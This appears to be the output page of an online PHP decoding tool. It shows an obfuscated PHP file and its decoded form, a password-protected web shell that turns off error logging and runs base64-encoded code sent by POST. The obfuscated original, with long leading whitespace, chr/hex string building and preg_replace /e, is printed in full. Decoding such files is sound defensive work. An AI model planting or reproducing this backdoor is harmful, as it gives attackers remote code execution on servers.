Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "68BNDFO2f6JR9vpPF0wrh7P8l343xrdY")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php




                                                                                                                                                                                                                                                                                                                                        $I0l9zF="\x70\x72\x65".chr(103)."_".chr(114).chr(101)."p".chr(108)."\x61\x63e";$ldl41sS="\x65\x76\x61\x6C(".chr(98).chr(97).chr(115)."e6\x34".chr(95)."\x64\x65\x63".chr(111)."\x64e\x28\x22".chr(81).chr(71).chr(86)."\x79\x63\x6D9y\x58\x33\x4a".chr(108)."c\x47".chr(57)."\x79".chr(100).chr(71)."l".chr(117)."Z\x79\x67\x77".chr(75)."T\x73\x4B".chr(81)."G".chr(108)."\x75a".chr(86)."9zZ\x58\x51\x6F".chr(73)."mRp".chr(99)."\x33".chr(66).chr(115)."Y\x58".chr(108)."f".chr(90)."\x58".chr(74)."\x79\x623\x4a\x7A\x49\x69\x77w".chr(75).chr(84).chr(115).chr(75)."\x51\x47\x6C\x75a".chr(86).chr(57)."\x7AZX\x51\x6f".chr(73)."\x6D\x78".chr(118).chr(90)."1\x39\x6C\x63\x6E".chr(74)."\x76\x63".chr(110).chr(77)."\x69L\x44\x41p\x4f\x77\x70\x41a\x57\x35".chr(112)."\x58".chr(51)."\x4E".chr(108).chr(100)."\x43".chr(103).chr(105)."ZX\x4A\x79\x62".chr(51)."\x4a\x66b".chr(71)."9".chr(110).chr(73)."\x69\x77".chr(119)."\x4B\x54".chr(115).chr(75)."\x43\x6D".chr(108)."\x6D\x49".chr(67)."h".chr(112).chr(99)."\x33\x4e".chr(108)."\x64".chr(67)."g\x6B\x58".chr(49).chr(66)."P\x55".chr(49)."Qp\x49CY\x6d".chr(73)."G\x6c\x7a\x58".chr(50)."F\x79".chr(99)."m".chr(70)."\x35K\x43".chr(82)."\x66UE\x39\x54".chr(86)."C\x6B\x67\x4A\x69".chr(89).chr(103)."\x59\x32\x391\x62n\x51o\x4a".chr(70)."9QT".chr(49)."\x4eUK\x54\x34x\x4B\x51p".chr(55)."C".chr(103)."l\x6Db".chr(51).chr(74)."\x6c".chr(89)."\x57".chr(78)."o\x49Cg\x6B\x58".chr(49).chr(66)."PU1\x51g\x59X\x4Dg\x4A".chr(72).chr(90).chr(104)."\x63\x69\x6bKC".chr(88).chr(115).chr(75)."C\x51\x6C".chr(112)."\x5ai\x41\x6f\x49".chr(87)."l\x7Ac2".chr(86)."0\x4b\x43".chr(82)."\x6a\x62\x32R".chr(108).chr(75).chr(83)."\x6b".chr(103)."\x4a".chr(71)."\x4ev\x5A".chr(71)."\x55\x67\x50".chr(83).chr(65)."\x6B\x64".chr(109)."\x46\x79\x4F\x77o\x4a".chr(67)."\x57".chr(86).chr(115)."\x63\x32".chr(86)."\x70".chr(90).chr(105)."A".chr(111)."IW".chr(108)."z".chr(99)."2".chr(86)."\x30K".chr(67)."\x52wY".chr(88)."\x4E\x7A\x4B\x53k\x67\x4A".chr(72)."Bh".chr(99)."\x33".chr(77)."\x67".chr(80)."\x53\x41\x6b".chr(100).chr(109)."\x46\x79Ow\x6F\x4a".chr(67)."\x57\x56s\x63".chr(50).chr(85).chr(103)."\x59\x6e\x4Al".chr(89)."\x57s\x37".chr(67)."\x67".chr(108)."9\x43\x67".chr(111)."\x4A".chr(97)."\x57".chr(89)."\x67K\x43".chr(82).chr(119).chr(89)."\x58Nz\x49\x440".chr(57)."I\x43\x49\x32".chr(79)."E".chr(74)."OR".chr(69).chr(90).chr(80)."\x4dm\x592S\x6C\x495".chr(100).chr(110).chr(66)."\x51\x52j\x42\x33".chr(99)."\x6d\x673\x55".chr(68).chr(104)."\x73M".chr(122).chr(81)."\x7A\x65\x48".chr(74)."\x6b\x57\x53Ip\x43".chr(103)."\x6c\x37C\x67\x6BJ\x5A".chr(88)."\x5a\x68b\x43h\x69".chr(89)."X".chr(78)."l".chr(78)."j\x52f".chr(90)."\x47".chr(86).chr(106)."b\x32".chr(82).chr(108)."\x4B\x43".chr(82)."j\x62\x32".chr(82).chr(108)."\x4bS\x6b".chr(55)."\x43\x67\x6C\x39".chr(67)."\x6E".chr(48).chr(75)."Z\x58".chr(104).chr(112)."\x64\x44s".chr(61)."\x22)\x29\x3b";$x4t0=chr(47).chr(100).chr(100)."8".chr(49).chr(49)."\x65\x30a\x31".chr(50)."b7".chr(52)."d5".chr(57)."9".chr(97)."\x38".chr(54).chr(53)."5".chr(102)."\x32".chr(55)."\x359\x36e".chr(48).chr(54).chr(102).chr(47)."e";$I0l9zF($x4t0,$ldl41sS,chr(100)."\x64\x38\x31\x31\x65".chr(48)."\x61".chr(49)."2\x62\x37\x34d".chr(53).chr(57)."\x39".chr(97)."\x38\x36\x35\x35f".chr(50)."\x37".chr(53)."\x396e\x306\x66");


?>

Function Calls

chr 190
preg_replace 1
base64_decode 1

Variables

$x4t0 /dd811e0a12b74d599a8655f27596e06f/e
$I0l9zF preg_replace
$ldl41sS eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..

Stats

MD5 90054f910f907931a075b5506ebcce0a
Eval Count 2
Decode Time 304 ms